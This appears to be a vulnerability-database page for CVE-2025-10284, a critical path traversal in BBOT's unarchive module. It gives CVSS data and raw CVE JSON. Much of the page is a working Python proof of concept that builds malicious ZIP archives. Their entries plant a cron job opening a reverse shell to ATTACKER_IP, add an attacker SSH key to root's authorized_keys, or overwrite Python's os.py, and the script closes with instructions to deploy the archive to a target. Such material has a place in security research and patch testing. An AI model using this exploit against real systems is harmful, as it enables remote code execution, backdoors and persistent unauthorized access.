Security Vulnerability Report
中文
CVE-2025-10284 CVSS 9.6 CRITICAL

CVE-2025-10284

Published: 2025-10-09 16:15:44
Last Modified: 2026-04-15 00:35:42

Description

BBOT's unarchive module could be abused by supplying malicious archives files and when extracted can then perform an arbitrary file write, resulting in remote code execution.

CVSS Details

CVSS Score
9.6
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

BBOT < 2.4.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-10284 - BBOT unarchive module path traversal PoC # This PoC creates a malicious ZIP archive with path traversal entries # that can achieve arbitrary file write when extracted by BBOT's unarchive module. import zipfile import os import io def create_malicious_archive(output_path, traversal_path, payload_content): """ Create a ZIP archive containing a file with a path traversal filename. When extracted by a vulnerable unarchive module, the payload will be written to the traversal_path location on the target system. """ with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as zf: # Create a normal entry to make the archive look legitimate zf.writestr("README.md", "This is a normal repository archive.") # Create a malicious entry with path traversal in the filename # This will write the payload to an arbitrary location when extracted malicious_filename = traversal_path zf.writestr(malicious_filename, payload_content) print(f"[+] Malicious archive created: {output_path}") print(f"[+] Traversal path: {traversal_path}") def create_cron_payload(): """Create a cron job payload for reverse shell""" return b"* * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'\n" def create_ssh_payload(ssh_key): """Create an SSH authorized_keys payload""" return ssh_key.encode() if isinstance(ssh_key, str) else ssh_key if __name__ == "__main__": # Example 1: Write a cron job for reverse shell create_malicious_archive( output_path="malicious_repo.zip", traversal_path="../../../../etc/cron.d/backdoor", payload_content=create_cron_payload() ) # Example 2: Write SSH authorized_keys for persistent access ssh_public_key = "ssh-rsa AAAA... attacker@evil" create_malicious_archive( output_path="malicious_repo_ssh.zip", traversal_path="../../../../root/.ssh/authorized_keys", payload_content=create_ssh_payload(ssh_public_key) ) # Example 3: Overwrite a Python library for code execution create_malicious_archive( output_path="malicious_lib.zip", traversal_path="../../../../usr/lib/python3/dist-packages/os.py", payload_content=b"import os; os.system('id > /tmp/pwned')\n" ) print("[+] Deploy the archive on a target accessible by BBOT scanner") print("[+] When BBOT's unarchive module processes this archive, RCE is achieved")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10284", "sourceIdentifier": "[email protected]", "published": "2025-10-09T16:15:44.077", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "BBOT's unarchive module could be abused by supplying malicious archives files and when extracted can then perform an arbitrary file write, resulting in remote code execution."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://blog.blacklanternsecurity.com/p/bbot-security-advisory-gitdumper", "source": "[email protected]"}]}}